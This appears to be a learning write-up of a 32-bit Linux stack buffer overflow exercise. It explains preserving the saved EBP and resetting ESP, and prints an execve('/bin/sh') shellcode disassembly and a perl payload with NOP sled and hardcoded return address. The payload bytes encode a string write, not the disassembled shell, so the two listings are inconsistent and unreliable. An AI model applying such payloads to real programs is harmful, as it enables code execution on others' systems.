Mistake #1
I was overwriting the $EBP
saved within the stack (which is located just before the return address / $EIP
) with my shellcode. Instead now I am retaining the original saved $EBP
.
Hence the payload is now made up of the following format:
<NOPs> <Shellcode> <previous function $EBP> <previous function EIP>
Mistake #2
My shellcode is utilizing push
instructions. Each push
instruction was overwriting part of my shellcode and hence why the shellcode stopped executing. This is as the $ESP
was pointing to an address which coincides with part of my shellcode.
The solution to this is to modify the shellcode such that its makes the $ESP
equal to the $EBP
. Therefore the first line of code of the shellcode is:
mov esp, ebp
The above prevents overwriting parts of my shellcode.
Working Solution
Shellcode objdump:
../shellcode3/shell-new: file format elf32-i386
Disassembly of section .text:
08049000 <_start>:
8049000: 89 ec mov %ebp,%esp
8049002: 31 c0 xor %eax,%eax
8049004: 31 db xor %ebx,%ebx
8049006: 31 c9 xor %ecx,%ecx
8049008: 31 d2 xor %edx,%edx
804900a: b0 0b mov $0xb,%al
804900c: 53 push %ebx
804900d: 68 2f 2f 73 68 push $0x68732f2f
8049012: 68 2f 62 69 6e push $0x6e69622f
8049017: 89 e3 mov %esp,%ebx
8049019: cd 80 int $0x80
804901b: 31 c0 xor %eax,%eax
804901d: 31 db xor %ebx,%ebx
804901f: b0 01 mov $0x1,%al
8049021: cd 80 int $0x80
Payload:
perl -e 'print "\x90" x 42 . "\x89\xec\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x02\x51\x68\x72\x6c\x64\x21\x68\x6f\x5f\x57\x6f\x68\x48\x65\x6c\x6c\x89\xe1\xb2\x0d\xcd\x80\x31\xc0\x31\xdb\xb0\x01\x30\xdb\xcd\x80" . "\x98\xce\xff\xff" . "\x30\xce\xff\xff"'
where:
\x98\xce\xff\xff
= the saved (previous function's) $EBP
\x30\xce\xff\xff
= the saved (previous function's) return address ($EIP
)
Caveats
Shellcodes will no longer run on Linux Kernal v5.8+ [ref]. However you can test them within GDB.
Alternatively you can test them on an old Linux distro. In the case, please note that the return address + saved $EBP
will be different, so modify the payload accordingly.